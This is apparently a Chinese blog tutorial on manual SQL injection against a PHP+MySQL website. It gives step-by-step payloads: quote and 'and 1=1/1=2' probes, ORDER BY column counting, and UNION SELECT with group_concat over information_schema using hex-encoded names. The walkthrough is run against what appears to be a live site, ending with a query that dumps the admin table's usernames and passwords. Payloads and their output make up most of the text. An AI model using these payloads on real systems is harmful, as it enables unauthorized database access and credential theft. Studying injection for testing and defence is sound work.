这是归于我的一篇新课的其中之一内容,早就写好了,但是一直没推送过来。
临近年底了,我个人也比较忙,一堆事等着我,当然不推送也有我人懒的缘故,微信写文章体验感很差。
微信号写东西不舒服,眼瞎了不赔钱。
我也不会排版。
如何判断页面是否存在SQL注入漏洞?
总结一下我们前面所讲的检测SQL注入的方法。
判断数据库类型:‘
判断注入点:and 1=1 and 1=2
根据返回页面来判断是否存在注入。
MySQL常用的函数
system_user() 系统用户名
user() 用户名
current_user() 当前用户
session_user() 链接数据库的用户名
database() 库名
version()mysql 数据库版本信息
@@datadir 数据库路径
本次讲解PHP+MySQL架构的SQL注入方法。
首先输入单引号“‘“进行测试是否存在注入。
输入单引号后页面返回错误。
接着输入 and 1=1 去测试
and 1=1 测试页面正常,返回了页面。
那么输入 and 1=2呢?
and 1=2 页面返回错误。
所以断定存在SQL注入漏洞,接下来我们来猜测长度。
使用语句: order by
在测试的时候我们可以先输入一个较大的数,比如30。
order by 30 推测列长度是30,结果返回错误。
接着就可以把这个数减小一点,比如20。
order by 20 页面返回正常,因此可以推断长度存在20-30之间。
为了准确确定长度,可以一个一个的去试,也可以快速的使用函数进行查询。
我这里使用了联合查询UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,,18,19,20,21,22,23,24,25,26
推测出最终的长度是26,但是没有爆出准确数字。
那么,将页面报错后再次进行爆长度,就要加上 and 1=2,让它本身页面报错了,才能知晓准确数字。
进行报错后再次注入,发现页面已经返回了两个数字,分别是7和17。
那么我们把MySQL的常用函数拿去替换这两个数字字段试试。
把17这个字段替换成常用函数“system_user()”之后,页面已经返回了结果。
system_user()的函数是当前数据库系统用户名。
root@localhost 则是它的用户名。
还可以替换成一些函数,用来查信息,比如数据库版本。
数据库版本为:5.0.22-community-nt
当前数据库库名:gaoneng
数据库用户名:root@localhost
系统用户名:root@localhost
链接数据库用户名为:root@localhost
信息收集完成后,接下来就可以获取它的表了。
获取表
获取表需要用到多条数据显示的函数“group_concat()”
and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,group_concat(table_name),18,19,20,21,22,23,24,25,26 from information_schema.tables where table_schema=0x67616F6E656E67
具体的语句就是上面,列出所有的表名,这里需要注意的是 为什么要把数据库名字转为Hex16进制的,因为数据库本身的原因,需要进行编码转换,输入库名是不行的。
如图所示页面已经返回了库名。
com_admin,com_book_pic,com_book_pl,com_books,com_class,com_config,com_down,com_feedback,com_flash,com_link,com_meg,com_news,com_qq,com_sheng,com_user,com_user_address,temp_udf,udf_temp,www_action
表名已经获取到了,接下来就可以根据表名来获取列名。
比如获取“com_admin.com”的列名
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,group_concat(column_name),18,19,20,21,22,23,24,25,26 from information_schema.columns where table_name=0x636F6D5F61646D696E
显示的字段为:userid,username,password,admin,userip,flag
接下来获取username和password两个字段的值
获取username,password字段的值
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,group_concat(username,password,userid),18,19,20,21,22,23,24,25,26 from com_admin
用sqlmap进行注入也是一样的效果。
一次PHP+Mysql结构的Web程序的手工SQL注入测试就已经完成,文中所出现的网站非法利用作者不对此承担任何相关责任,仅作为教育示范。
领取专属 10元无门槛券
私享最新 技术干货